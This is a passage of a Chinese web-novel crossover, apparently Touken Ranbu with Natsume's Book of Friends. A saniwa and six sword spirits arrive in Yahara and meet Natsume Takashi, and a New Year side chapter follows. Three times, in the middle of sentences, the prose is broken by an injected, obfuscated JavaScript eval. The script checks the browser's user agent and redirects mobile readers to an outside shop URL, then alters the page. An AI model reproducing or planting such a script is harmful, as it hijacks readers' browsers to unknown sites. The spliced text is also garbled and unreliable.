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山姥切国广握紧了拳,白色的兜帽几乎要遮住他全部的表情,但声音却异常清晰坚定:“我是本丸的初始刀,维持本丸的存续是我的责任。这次任务风险不明,审神者大人必须亲自前往,护卫工作请务必让我同行。” 药研藤四郎推了推眼镜,镜片后的目光锐利:“大将的身体状况是首要考虑因素。” “我建议,在任务开始前必须对大将的身体进行全面评估,并尽可能准备周全的应急方案和药品,护卫队伍的选择也需要慎重,必须兼顾侦查、护卫、强攻和应变能力。” 他的目光扫过在场的其他刀剑,最后落在源朝曦身上,“如果必须去,请允许我作为随队医师同行。” 一文字则宗慢悠悠地摇着扇子,脸上的笑容带着玩味,眼底却一片冷然:“时政这一手,既是试探,也是逼迫,阿鲁金看得透彻。不过,夏目账单’这个名字有点意思,涉及‘名字’的灵力紊乱通常与契约、归属、真名力量有关,那个时空恐怕不只有溯行军那么简单。” 他收起折扇,轻轻敲击掌心:“既然推不掉,那就只能接了,但怎么接,带谁去,去了之后如何行动,得我们说了算,时政给了模糊标准,我们也可以利用规则的模糊地带,只要最终任务目标达成,过程如何,他们未必能完全掌控。” 源朝曦听着三刃的分析,灰蓝色的眼眸深处闪过一丝微光,她轻轻颔首:“则宗殿说得对,任务必须接受,但如何完成,主动权要尽可能握在我们自己手里。” 她看向狐之助,语气不容置疑:“回复时政,T57本丸接受‘夏目账单’评估任务。” “但基于任务情报模糊且风险不明,我方要求:第一,给予最迟三天的准备时间;第二,提供尽可能详细的、关于该时空‘灵力紊乱’现象的历史背景资料和已知观测数据;第三,明确现场监察狐之助的权限边界以及在何种情况下,我方可以基于现场判断采取紧急避险措施而不被视为任务失败。” 狐之助连忙点头:“是,凤黯大人,您的合理要求我会立刻向上传达!” “那么,接下来是人员安排。” 源朝曦的目光缓缓扫过庭院,那些对此尚不知情的刀剑们的身影映入眼帘,“我必须前往,这是硬性要求,护卫队伍上限六振。” 六振刀剑,这不仅是数量的限制,更是对本丸整体战力和审神者护卫配置的一次严峻考验,本丸现存二十六振刀剑中练度参差不齐,经历过完备训练和实战磨合的更是少数。 35.第三十五章 “凤黯大人,您提出的三天准备时间,时政同意了。” 狐之助再次出现在天守阁时,带回一小叠补充资料和正式的任务确认回执,“关于本次任务的时空背景和已知观测数据,时政方能提供的部分已附加。” “本次任务的现场监察狐之助的编号是SM-07,它将与队伍一同传送,负责记录任务过程并确保流程合规。在遭遇不可抗力、可能威胁审神者生命或导致任务彻底失败的情况下,队伍有权采取紧急避险措施,但需在事后向监察提交详细说明。” 狐之助这次带来的补充资料比初始简报详细了一些,但仍然笼罩着一层迷雾:本次任务的目标时空是一个现代背景的日本小镇,存在长期、稳定的低浓度灵力环境,居民中某个人类拥有看见“非常规存在”的能力。 而本次的任务代号“夏目账单”指的是该时空近年来频繁出现的、因“名字”归属问题引发的灵力紊乱现象。 有记录显示,某些持有特殊“名字”的个体或物品会突然失去对其“名字”的掌控,导致灵力暴走、记忆混乱甚至存在性动摇。 同时,时政相关管理部门监测到时间溯行军在该区域出没,似乎与这些紊乱现象存在某种关联,但具体关联方式、溯行军的目的、以及“账单”异常的根源均不明。 “看起来像是某种与‘真名’或‘契约’相关的力量出现了问题。” 一文字则宗翻阅着资料,眉头微蹙,“时间溯行军被吸引过去,要么是想利用这种混乱做些什么,要么它们本身就是混乱的源头之一。不管是哪种,都意味着那个时空的‘规则’可能正在被扭曲或侵蚀。” 三天的准备时间在紧张而有序的筹备中飞快流逝,本丸的空气里弥漫着一股压抑的氛围,连最活泼的今剑和乱藤四郎都安静了许多,所有刃都知道即将到来的评估任务以及其中蕴含的巨大风险与机遇。 源朝曦的大部分时间依旧被她消磨在天守阁内,但却不像是之前那样安静休养,她面前的矮桌上堆满从时政获取的有限资料、药研藤四郎整理的她的身体状况评估报告、山姥切国广和药研藤四郎共同拟定的数套护卫方案及应急预案以及一文字则宗凭借其监察官经验提出的各种可能性推演。 她的脸色似乎比平日更加苍白,但那双灰蓝色的眼眸却亮得惊人,专注地审视着每一份文件,时而与前来商议的刀剑进行简短的交流,做出最终决策。 最终确定的出阵名单在出发前一天的晚间公布: 一文字则宗——作为前监察官,他熟悉时政的流程、潜在规则以及那些“不可言说”的灰色地带,他的洞察力、谈判技巧以及对模糊信息的处理能力,在情报不明、评判标准暧昧的任务中至关重要,同样,作为太刀同时也是本丸最高战力的他也具备相当的战力。 药研藤四郎——随队医师的不二人选,源朝曦的身体状况将会是这次任务的最大变数,必须有专业的医者全程监护。 药研藤四郎的冷静、果断以及在极端环境下进行判断和处置的能力,是队伍安全的医疗保障。作为短刀,他亦擅长侦查与隐蔽行动。 次郎太刀——源朝曦与药研藤四郎几刃经过深思熟虑选出来的大太刀。 次郎太刀性格看似散漫不羁,但在关键时刻的爆发力、机动性在某些突发状况下可能产生奇效,大太刀的强大破坏力也能有效应对可能遭遇的强敌或需要快速突破的场面。 而且,相较于他的兄长太郎太刀的庄重肃穆,次郎太刀更擅长与人或非人打交道,,更加深入红尘,在需要与陌生时空存在接触时可能比久居高堂的太郎太刀、贵女们的陪嫁集合体静形薙刀更有优势。 笑面青江——胁差,机动性高,侦查能力优秀,其“斩妖”的逸话与特性,或许在面对可能与“名字”、灵体、异常现象相关的任务时能发挥特殊作用。 千子村正——打刀,在审神者中以其独特的“脱衣”癖好闻名,选择他,一方面是因其扎实的战斗力,另一方面则是因为在时政设定中打刀与胁差的组合技——二刀开眼。 小夜左文字——最后一位队员的选择最为艰难,源朝曦和药研藤四郎几刃曾经在五虎退、今剑、小夜左文字之间权衡良久,五虎退胆小但细致,今剑机敏活泼,但最终源朝曦还是拍板选择了小夜左文字。 理由在于,小夜左文字性格沉静,极富耐心,擅长隐匿与一击必杀,在复杂环境中生存能力更强,他的短刀体型也便于在人类城镇中隐蔽行动。 名单公布时,未被选中的刀剑反应各异:和泉守兼定有些不满地嘟囔了几句,被堀川国广轻声劝下;狮子王拍拍胸口,表示会守好本丸;压切长谷部站在人群稍远处,紫灰色的眼眸复杂地看着天守阁的方向,最终什么也没说,只是默默转身离开——源朝曦在宣布名单前,已私下将一部分初步的文书整理和资源规划草案交给了他,作为他“考虑期间”的观察与练习。 这无声的信任,或者说,务实的使用让压切长谷部心中那团乱麻般的情绪暂时找到了一个可以倾注的、具体而微的出口。 出发当日的清晨,本丸的空气凝滞得仿佛能拧出水来。 未被选中的刀剑们沉默地聚集在庭院中,目送着即将踏上未知征程的同伴与主君,山姥切国广站在最前方,白色的兜帽被他拉得很低,让人只能看见他紧抿的嘴唇,他上前一步,将一个小巧的储物袋交给药研藤四郎。 “应急物资,包括前不久让短刀们去万屋买的浓缩灵力球和通用伤药。”他的声音压得很低,但足够清晰,“本丸的结界和日常我会照看好,请务必保护好主君。” 药研藤四郎郑重地接过,点了点头。 堀川国广轻轻拍了拍和泉守兼定的手臂,后者抱着胳膊,脸上难得没了平日的张扬,只是对着一文字则宗和千子村正的方向扬了扬下巴:“喂,你们两个,可千万别拖后腿啊!” 一文字则宗摇摇扇子,笑而不语,千子村正则回以一句耳熟能详的话“怎么了吗?……要我脱衣吗?”。[1] 源朝曦出现在天守阁门口时庭院里落针可闻,她今日没有穿那身淡紫色的家常和服,而是换上了一套便于活动的深紫色劲装,外面罩着一件同色羽织,红挑染的长发用一根简单的发带束在脑后,脸色依旧苍白,但脊背挺直,灰蓝色的眼眸平静地扫过整装待发的六振刀剑,最后落在庭院中所有刃的身上。 “出发吧。”她的声音不大,却清晰地传入每个刃的耳中。 没有慷慨激昂的动员,也没有忧心忡忡的嘱咐,就像只是去完成一次稍远些的日课,但这简单的三个字,却让所有刃都不由自主地挺直了背脊。 狐之助SM-07早已等候在时空转换装置前,它的皮毛是罕见的银灰色,电子眼闪烁着冷静而疏离的蓝光,与之前传话的普通狐之助气质截然不同。 “凤黯大人,各位刀剑男士,请站到指定位置,本次任务的时空坐标已锁定,传送即将开始。” SM-07的声音是标准的电子合成音,不带丝毫感情。 源朝曦率先站定,六振刀剑迅速围绕在她身侧,形成一个松散的护卫阵型——一文字则宗和次郎太刀一左一右站在稍前的位置,药研藤四郎紧跟在源朝曦身侧稍后,笑面青江与小夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082122|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左文字分列两翼,千子村正则殿后。 时空转换装置发出低沉的嗡鸣,金色的光芒逐渐亮起,将他们的身影吞没。悉的眩晕感与时空拉扯感传来,但这一次,其中似乎夹杂了一些不稳定的、细微的灵力乱流,使人感到如同自己正在穿过湍急的溪水。 源朝曦感到羽织下的身体微微一沉,肺部传来熟悉的、令人不快的压迫感,她不动声色地调整呼吸,将体内流转的灵力更加稳固地包裹住自身核心,她能感觉到身旁药研藤四郎担忧的一瞥以及一文字则宗看似随意实则警觉地扫视四周的目光。 光芒散去,脚踏实地感传来,首先涌入感官的是夏日午后灼热而潮湿的空气,混合着草木、泥土和远处城镇传来的淡淡生活气息。 他们落脚的地方是一片远离人烟的森林边缘,高大的树木枝繁叶茂,阳光透过缝隙洒下斑驳的光点,远处能隐约看见城镇的轮廓以及更远处起伏的山峦。 “灵力浓度比本丸高,但感觉很温和,而且很混杂。”笑面青江率先开口,手轻轻搭在刀柄上,“有许多微弱的、性质各异的灵体反应,散布在森林和城镇方向,没有感觉到明显的敌意,也没有时间溯行军那种冰冷污浊的气息。” “空气很清新呢,阿鲁金~”次郎太刀舒展了一下身体,似乎对这里的自然环境颇为满意,但那双总是带着醉意的眼眸此刻清明而锐利地观察着四周。 小夜左文字已经无声无息地隐入了一旁的树影中,如同融化了一般,这是他的习惯,也是他履行职责的方式。 一文字则宗展开扇子轻轻扇动,目光却落在源朝曦微微蹙起的眉心上:“阿鲁金,感觉如何?” “无妨。”源朝曦摇头,目光投向城镇的方向,“先确认位置,与监察狐之助核对任务区域。” “是。” 狐之助SM-07的电子音响起,它抬起前爪,爪尖泛起微光,在空中投射出一幅半透明的地图,“当前坐标已确认,位于任务区域‘八原’外围森林。” “根据时政提供的背景资料,灵力紊乱现象及时间溯行军活动疑似围绕名为‘夏目贵志’的人类少年及其关联者展开,建议首先接触关键人物,获取更准确的情报。” “夏目贵志。” 源朝曦重复着这个名字,灰蓝色的眼眸中若有所思,“这应该是那个能看见‘非常规存在’的人类少年,‘账单’难道与他能看见的东西有关?” “总之,先找到他吧。”药研藤四郎推了推眼镜,“我们身处陌生环境中,情报优先,直接进入城镇寻找目标可能引起不必要的注意,或许可以从周围的‘居民’那里入手。” 他的目光意有所指地扫过森林深处。 源朝曦微微颔首,赞同药研藤四郎的建议。 一文字则宗收起折扇,目光掠过四周看似平静的森林,轻声道:“那么,就先和这里的‘居民’打个招呼吧,笑面殿,麻烦你了。” 森林的宁静被一声轻微的、仿佛瓷器碎裂的“咔嚓”声打破,声音来自他们侧前方不远处的灌木丛。 几乎同时,隐在暗处的小夜左文字如同鬼魅般出现在声源附近,手中的短刀并未出鞘,但眼神锐利。 灌木丛窸窣晃动,一个圆滚滚的、茶杯大小、顶着片绿叶的“小东西”咕噜噜滚了出来,它似乎被自己绊倒了,坐在地上,两颗豆子般的眼睛惊恐地看着突然出现的这群“不速之客”——特别是他们腰间明显并非装饰的刀剑。 “妖怪?”次郎太刀挑眉,语气里带着点新奇,这个“小东西”灵力微弱,形态幼稚,毫无威胁,更像是山林中自然孕育的最低等精魅。 36.第三十六章 “别吓到它。” 源朝曦的声音带着一丝温和,她上前一步,微微俯身,灰蓝色的眼眸与那“小东西”惊恐的豆豆眼平视,“我们没有恶意,只是路过此地,想打听些事情。” 那圆滚滚的小东西在源朝曦平静的目光和温和的话语中,似乎稍稍放松了紧绷的身体,但那双豆豆眼依旧警惕地打量着眼前这群气息陌生、腰间佩刀的“存在”,它头顶的叶片无意识地抖了抖,发出细微的沙沙声。 “你、你们是什么人?不像是这里的妖怪?也不像是除妖师?” 小东西的声音细弱蚊蚋,带着浓重的地方口音和显而易见的困惑,它显然感知到了他们身上不同于普通人类、也不同于此世寻常妖怪的灵力特质。 “我们是从远方来的旅人,为了一些特别的事情来到这里。” 一文字则宗缓步上前,脸上挂起那副惯有的、令人捉摸不透的微笑,他刻意收敛了部分属于前监察官的锐利与审视感,让自己看起来更像一个温和无害的访客。 “特别的事情?” 小东西歪了歪头,豆豆眼里满是怀疑,“八原最近不太平,很多奇奇怪怪的东西跑来跑去,还有那些黑漆漆的、带着铁锈味的家伙……” “黑漆漆的、带着铁锈味?” 药研藤四郎敏锐地捕捉到关键词,与一文字则宗交换了一个眼神,在时之政府的文件中对时间溯行军的气息常常描述为冰冷、污浊,带着金属锈蚀与时间腐朽的意味。 “是的!” 小东西用力点头,似乎想起了什么可怕的事情,身体又缩了缩,“它们可凶了!还会抢东西!抢名字!” “抢名字?” 源朝曦灰蓝色的眼眸微微一凝,这或许就直接触及到了任务核心,“能详细说说吗?什么样的情况下会被抢走名字?被抢走名字会怎样?” “就、就是突然之间,属于自己的名字就好像变成了别人的东西,自己用不了了,力量也会变得奇怪,有的会忘记自己是谁,有的会很难过很难过,甚至慢慢消失掉……” 小东西努力比划着,语言虽然简单,却描绘出“失去名字”这件事所带来的可怕后果。 “而且,那些黑漆漆的家伙好像特别会找那些名字被动过手脚,或者本身名字就很特别的家伙。夏目大人最近就是因为这个很烦恼呢,猫咪老师也总是气呼呼的……” “夏目大人?” 一文字则宗适时地引导话题,“能和我们详细说说夏目大人吗?” “夏目大人是住在镇上的人类少年,他是个好人!” 圆滚滚的小妖怪提到这个名字时,豆豆眼明显亮了一些,语气也带上了亲近,“他和其他人不一样,他能看得见我们,还会把名字还给妖怪,是个温柔又强大的人!” “还名字?” 一文字则宗轻轻摇晃着折扇,眼中若有所思,“看来这位夏目大人似乎掌握着某种与‘名字’相关的、特别的力量或物品。这或许就是时间溯行军被吸引至此的关键,也就是这次任务中的‘账单’由来。” “是友人帐!” 小妖怪虽然听不懂一文字则宗在说些什么,但听到“名字”和“物品”,立刻用力点头,头顶的叶子跟着晃了晃,“夏目大人有一本很厚很厚的、写着很多妖怪名字的‘友人帐’,他在把上面的名字一个一个地还回去,把自由还给妖怪们。但是最近,最近很奇怪,有些还回去的名字好像出了问题,还有那些黑漆漆的家伙……” 它的声音低了下去,带着困惑和担忧。 圆滚滚小妖怪的描述虽然零散,却能让源朝曦与一文字则宗几刃拼凑出至关重要的信息——这个被称为“夏目大人”的人类并非普通灵能者,他持有一本记录了众多妖怪真名的契约之书,并主动将其归还,而“名字”的异动与时间溯行军的活动在此交织,形成了一张复杂的网。 “能带我们去见见夏目大人吗?” 源朝曦的声音依旧温和,灰蓝色的眼眸注视着紧张的小妖怪,“我们或许能帮上忙。” “帮忙?” 小妖怪豆豆眼睁大了,头顶的叶子抖了抖,显得有些犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120834|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“可是夏目大人和猫咪老师说过,最近不太平,要小心陌生人,而且你们……” 它瞄了瞄他们腰间的刀,本能地感到畏惧。 就在这时,不远处的树林里传来急促的脚步声和一声少年的惊呼,紧接着是某种重物落地的闷响。 “是夏目大人的声音!”圆滚滚的小妖怪惊呼一声,也顾不上害怕了,转身就要往声音传来的方向滚去,动作笨拙又急切。 源朝曦向身后微一颔首,无需言语,六振刀剑已默契而动,千子村正与小夜左文字先行一步,身影迅捷无声地没入林间,朝着惊呼声传来的方向而去,药研藤四郎紧随源朝曦身侧,手已虚按在腰间的本体上,一文字则宗与笑面青江分护左右,次郎太刀则殿后,一行人迅速而安静地循声赶去。 穿过一小片茂密的灌木,眼前景象豁然开朗——这是一片林间空地,一个穿着白色衬衫、浅茶色头发的少年跌坐在地,手里紧紧抱着一个看起来颇有分量的厚本,脸上带着一丝惊魂未定和无奈。 在少年前方不远处,一只圆滚滚的、招财猫造型的“不明生物”正四脚朝天,发出不满的“哼唧”声,似乎是从半空中掉下来,暂时由于身材的原因还没能翻过身来。 而在空地边缘,两只形貌奇特、气息不善的妖怪正对一人一猫虎视眈眈,它们周身缠绕着不祥的黑色气息,虽与时间溯行军那纯粹的污浊感略有不同,却也带着明显的恶意与贪婪。 “夏目大人!猫咪老师!”圆滚滚的小妖怪惊叫道。 那招财猫造型的生物——被小妖怪称为“猫咪老师”的——终于一个鲤鱼打挺翻身而起,抖了抖身上的草屑,语气极为不满:“笨蛋夏目!早就说了最近要小心!这些家伙一看就是冲着那个来的!” 茶发少年——夏目贵志——迅速站起身,警惕地厚本护在身后,目光扫过突然出现的源朝曦一行人,尤其是他们腰间的刀剑,眼中闪过一丝讶异和更深的戒备:“你们是……?” 37.第三十七章 夏目贵志的目光在突然出现的这群人与自己熟悉的圆滚滚小妖怪之间快速移动,最终停留在因为不知道源朝曦的姓名,而被小妖怪按照一文字则宗等刃的方式称呼为“阿鲁金”的、气质独特的女性身上。 对方看起来很年轻,脸上甚至还带着几分病弱的苍白,但那双灰蓝色的眼眸沉静得仿佛能容纳整片森林的阴影,而她身后那些腰佩刀剑、气息各异的“人”绝非常人。 “我们是从远方而来的旅人,为调查近期此地发生的‘异常’而来。” 源朝曦向前一步,语气平和,刻意收敛了部分气势,让自己显得不那么具有威胁性,“方才听闻这位小妖怪提及‘夏目大人’的困扰以及那些‘黑漆漆的家伙’,或许我们调查的是同一件事。” “旅人?调查异常?” 夏目贵志抱紧了怀中的友人帐,眉头微蹙,显然没有立刻相信这番说辞。 他经历过太多因友人帐而起的麻烦,对任何突然接近的陌生存在都抱有本能的警惕,更何况这群“人”身上带着兵器,气息也与寻常人类或妖怪迥异。 夏目贵志的目光快速扫过源朝曦和她身后那些腰佩刀剑、气息各异的“人”,最终落回她沉静的灰蓝色眼眸上,那里面没有贪婪,没有常见的、对“异常”的好奇或恐惧,只有一种近乎审视的平静,这反而让他心中的警铃微微作响。 “抱歉,最近八原确实不太平静,但我并不清楚你们所说的‘异常’具体指什么,我只是个普通的学生,可能帮不上什么忙。” 夏目贵志谨慎地选择着措辞,一边说一边不动声色地往后退了半步,与身旁的招财猫造型生物——猫咪老师,斑——距离更近了些。 “普通的学生可不会让这种等级的大妖怪跟在身边当保镖,更不会随身带着一本相当有趣的册子。” 一文字则宗慢悠悠地摇着折扇,目光似笑非笑地掠过夏目怀中被紧紧护住的厚本,又扫了一眼旁边虽然还是招财猫形态,但已经弓起背、发出威胁性低呜的猫咪老师。 夏目贵志的脸色微微一变,护着友人帐的手臂收得更紧。 猫咪老师将自己圆滚滚的身体向前挪了半步,挡在夏目贵志身前,原本滑稽的豆子眼此刻锐利如刀,紧盯着这群不速之客:“你们到底是谁?冲着友人帐来的?” “友人帐?” 源朝曦轻轻重复这个名称,灰蓝色的眼眸中若有所思,“记载友人名字的帐册么?听起来是份很温暖的羁绊。不过,我们并非为此而来。” 她微微侧头,目光投向空地边缘那两只因他们出现而暂时停止逼近、但依旧散发着恶意与贪婪气息的陌生妖怪:“就像最开始说的那样,比起那本册子,我们对那些‘黑漆漆的、带着铁锈味’的家伙以及最近在八原发生的、与‘名字’相关的麻烦更感兴趣。” 夏目贵志和猫咪老师都怔了一下。对方似乎很清楚“名字”出了问题,也提到了那些不祥的存在,但态度却并非觊觎友人帐,反而带着一种调查者的冷静。 “你们知道那些黑色的家伙?” 夏目贵志忍不住问道,语气中的戒备并未完全消失,但多了几分探究。 “略知一二,并且正在追踪调查。” 源朝曦颔首,她的目光再次落回夏目贵志身上,语气平和却带着一种不容置疑的认真,“夏目君,我们观察到,八原地区近期出现了异常的灵力紊乱,与‘名字’的归属变动有关,同时伴随着那些‘黑漆漆的家伙’——我们称之为时间溯行军——的活动。这些现象似乎以你,或者与你相关的某些事物为中心。可以告诉我们,你最近是否遇到了不寻常的事?比如,归还的名字出现异常?或者感觉到有别的东西在追踪、甚至试图夺取名字?” 夏目贵志沉默了,对方的话句句切中要害。 最近几个月,他归还名字的过程确实频频出现怪事:有些名字在归还后,原主人并未如预期般获得安宁,反而陷入混乱或虚弱;有时在归还仪式中,他会突然感觉到冰冷的、充满恶意的窥视;甚至有一次,在森林深处,他亲眼看到一道黑影试图卷走刚刚从友人帐上剥离、尚未完全归还的妖怪真名,若非猫咪老师及时出手,后果不堪设想。 “夏目,别随便相信来历不明的家伙。” 猫咪老师低声警告,但它的目光也在源朝曦和她身后的刀剑们身上来回扫视,评估着对方的实力和意图,这些“人”气息纯净而强大,与它认知中那些贪婪的除妖师或妖怪截然不同,但正因如此,才更显得可疑。 “我只是……” 夏目斟酌着,既不想暴露太多信息,又隐隐觉得这群“旅人”或许真的知道些什么,能解释最近发生的怪事,“最近确实有些不太顺利。有些名字在归还时,感觉不太对劲,好像被什么东西干扰了。另外,在森林里,也遇到过一两次你们说的那种‘黑漆漆的家伙’,它们似乎对‘名字’有某种执念。” “果然如此。” 一文字则宗合拢折扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156509|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻轻敲击掌心,“时间溯行军的目标很可能就是‘名字’本身,或者更准确地说,是‘名字’所代表的‘存在定义’与‘历史关联’。而夏目君你所持有的那本‘友人帐’以及你归还名字的行为,或许无意中扰动或暴露了某些‘名字’的‘脉络’,成为了它们觊觎的对象。” “存在定义?历史关联?” 夏目听得似懂非懂,但直觉告诉他,对方说的很可能是真的。 “简单来说,‘名字’不仅仅是一个称呼,它承载着记忆、约定、力量甚至是存在的根基。” 源朝曦接过话头,灰蓝色的眼眸沉静地注视着他,“对于那些游荡在时间夹缝中、试图篡改历史的‘时间溯行军’而言,篡改或夺取关键‘名字’,或许是干扰历史、达成其目的的一种手段。而你,夏目君,你正在做的‘归还名字’这件事,本身就涉及对‘名字’归属与状态的改变,这很可能吸引了它们的注意,甚至无意中为它们提供了可乘之机。” 源朝曦的话让夏目贵志感到一阵寒意。他从未想过,自己为了将自由还给妖怪们而做的事情,竟然会引来如此可怕的、涉及时间与历史的威胁。 “那、那该怎么办?” 一直躲在灌木后面偷听的圆滚滚小妖怪忍不住插嘴,声音里带着哭腔,“夏目大人会有危险吗?那些黑漆漆的家伙好可怕!” “危险确实存在,但并非无法应对。” 药研藤四郎冷静地开口,推了推眼镜,“当务之急是厘清‘名字’异常的具体表现、时间溯行军的活动规律以及它们的目标究竟是什么。夏目殿,你能否提供更详细的情况?比如,最早出现异常是什么时候?哪些名字的归还出现了问题?问题具体表现是什么?在何处遭遇过时间溯行军?它们当时有何举动?” 一连串专业而条理清晰的问题抛出来,让夏目贵志有些应接不暇,但也让他对这群“旅人”的“调查者”身份信了几分,他看了看依旧满脸警惕的猫咪老师,又看了看目光平和的源朝曦,犹豫片刻,决定部分信任。 “最早大概是三个月前……” 没人能想到在夏目贵志开口的瞬间异变陡生——空地边缘那两只一直虎视眈眈的陌生妖怪似乎被他们忽视的惹恼,或是感知到了某种契机,骤然发难,它们不再维持模糊的类人形态,身躯猛地膨胀、扭曲,化作两团裹挟着腥风与恶意的黑影,夹杂着刺耳的尖啸,一左一右,分别扑向夏目贵志和看起来最为“脆弱”的源朝曦! 38.新年番外[番外] 晨光在源氏大宅内洒下温暖斑驳的光影,空气中浮动着淡淡的梅花冷香,混合着书卷的墨气与清晨露水的清新。 侍女们身着整洁的袴,悄声穿梭在回廊之间,手中托盘上的漆器泛着温润的光泽;远处传来武士晨练时竹刀交击的清脆声响以及刻意压低的呼喝声,一切都井然有序,安宁祥和,仿佛时光从未在此刻下任何伤痕。 源朝曦跪坐在一个临窗的案几前,面前摊开着一卷关于星辰运行的古籍。 阳光透过精致的窗棂,在她月白色的单衣上投下细密的光斑,也将她那头瀑布般的长发镀上一层柔和的金边,那几缕标志性的红挑染在光线下如同跃动的火焰。 她的指尖抚过泛黄的纸页,灵力在她周身温和地流淌,强大而稳定,没有丝毫狂暴的迹象,更没有丹田处那令人心悸的裂痕与痛楚,这里是她的家,是她灵力全盛时期,被寄予厚望的源氏巫女所居之所。 轻微的脚步声自身后传来,沉稳而熟悉,源朝曦没有回头,只是嘴角不自觉地微微上扬。 “文殊丸。”源朝曦轻声唤道。[1] 源赖光在她身侧坐下,深紫色的直衣衣摆逶迤在地,他没有束发,长发随意披散,面容在晨光中少了几分平日的锐利,多了些许居家的柔和,他伸出手,指尖极其自然地拂过她肩头一缕滑落的发丝,动作熟稔得仿佛已做过千百遍。 “在看什么?”源赖光的声音低沉,带着晨起时特有的微哑。 “一些旧时的星图记录,”源朝曦侧过头,灰蓝色的眼眸映出他的身影,“我总觉得有些星轨的排列,似曾相识,却又想不起在何处见过。” “或许是在哪个典籍里瞥见过类似的记载。”源赖光并未深究,目光落在她手中的书卷上,又移向她略显苍白的侧脸,“你才刚醒不久,不必过于耗神。长老们虽然期盼着你主持今年的祈年祭,但一切以你身体为重。” “我没事,”源朝曦合上书卷,指尖无意识地摩挲着光滑的书脊,“我现在感觉很好。” 甚至好得让源朝曦感到有些不真实,那种充盈全身、掌控自如的力量感,远离硝烟与陌生气息的安宁,还有文殊丸就在身边的踏实……这一切都美好得像一个易碎的琉璃盏,她小心翼翼地捧着,连呼吸都放轻了,生怕一丝动静就会让它出现裂痕。 “观音姬,别想太多。”源赖光忽然唤了她的昵称,伸手握住她摩挲书脊的手。他的掌心温热而干燥,带着常年握刀留下的薄茧。“你回家了,在我身边,这就已经足够了。” 他的目光深邃,仿佛能看透她心底那丝若有若无的不安。 源朝曦回握住源赖光的手,汲取那份真实的温度,试图驱散脑海中偶尔闪过的、关于另一个冰冷病房和破败本丸的破碎画面,那些一定是噩梦,是她在漫长“沉睡”中产生的混乱幻觉,对,一定是这样。 “嗯。”源朝曦靠向源赖光的肩头,闭上眼,鼻腔里充满了他身上混合着清冽松香与淡淡墨气的独特气息,这是她记忆中订婚后两人私下相处时最常有的姿态,安全又温暖。 “家主,当主殿。”门外传来侍女恭敬的声音,“平氏与藤原家的使者已至前厅,送来贺礼,恭贺当主殿康复。” 源赖光几不可查地蹙了下眉,随即恢复平静。他松开手,替源朝曦理了理鬓角:“去吧,‘当主殿’,让外人看看,我源氏的朝阳已然重新升起。” 源朝曦点点头,起身时,源赖光将一柄收在古朴刀拵中的太刀轻轻放在她手边。 “三日月宗近。”他看着她,“今日佩戴它吧,让三条宗近的杰作也沾沾我源氏当主的光辉。” 刀鞘在日光的照耀下流转着幽蓝的光泽,新月纹若隐若现。 源朝曦指尖拂过冰凉的刀鞘,一股清冽温和的灵力顺着指尖传来,仿佛无声的问候。 她记得这把刀,这是源赖光向三条宗近定制,作为订婚信物赠予她的,她曾爱不释手,却因后来灵力日益不稳而很少佩戴,此刻,它完美地出现在这里,恰如其分。 “好。”源朝曦拿起太刀,佩于腰间,沉甸甸的分量,精致华美的外观,一切都符合记忆,也符合“源氏当主”此刻应有的威仪。 前厅里,衣着华丽的平氏与藤原家使者态度恭谨,献上的贺礼琳琅满目,皆是难得一见的珍宝与灵材。 他们言辞恳切,祝贺明御前沉疴尽去,言语间对源赖光亦多有奉承,俨然将这对未婚夫妇视作未来京都最耀眼的权力双星。 源朝曦应对得体,举止间既有巫女的清冷高贵,又不失未来主母的沉稳大气,她腰间的三日月宗近偶尔在动作间折射出冷光,引来使者们暗暗赞叹。,切都是如此的完美无瑕。 源朝曦坐在上首,余光瞥见身旁的源赖光,他嘴角噙着得体的微笑,眼神却平静无波,只在看向她时,眼眸深处才会掠过一丝极淡的、外人难以察觉的柔和。 但就在一位藤原家使者提及“近日京郊似有不明灵力扰动,恐是妖物作祟”时,源朝曦心底猛地一跳。 京郊? 灵力扰动? 源朝曦的脑海中瞬间闪过樫山枯林中弥漫的硝烟味、检非违使出现时空间的扭曲感、T57本丸刀剑们面对敌人时紧绷的神色…… “……想必以明御前之能,些许小患,弹指可破。”使者的恭维声将她拉回现实。 源朝曦端起茶盏,借着氤氲的热气掩饰瞬间的失神。“使者过誉,护卫京畿安宁,本就是我辈职责。” 她的声音平稳依旧,心下却泛起涟漪,为何她会对“任务”、“妖物”这类词汇产生如此具体的战场联想?那明明只是噩梦。 接见结束后,返回内室的路上,源朝曦忍不住低声问:“文殊丸,京郊的灵力扰动你可知详情?” 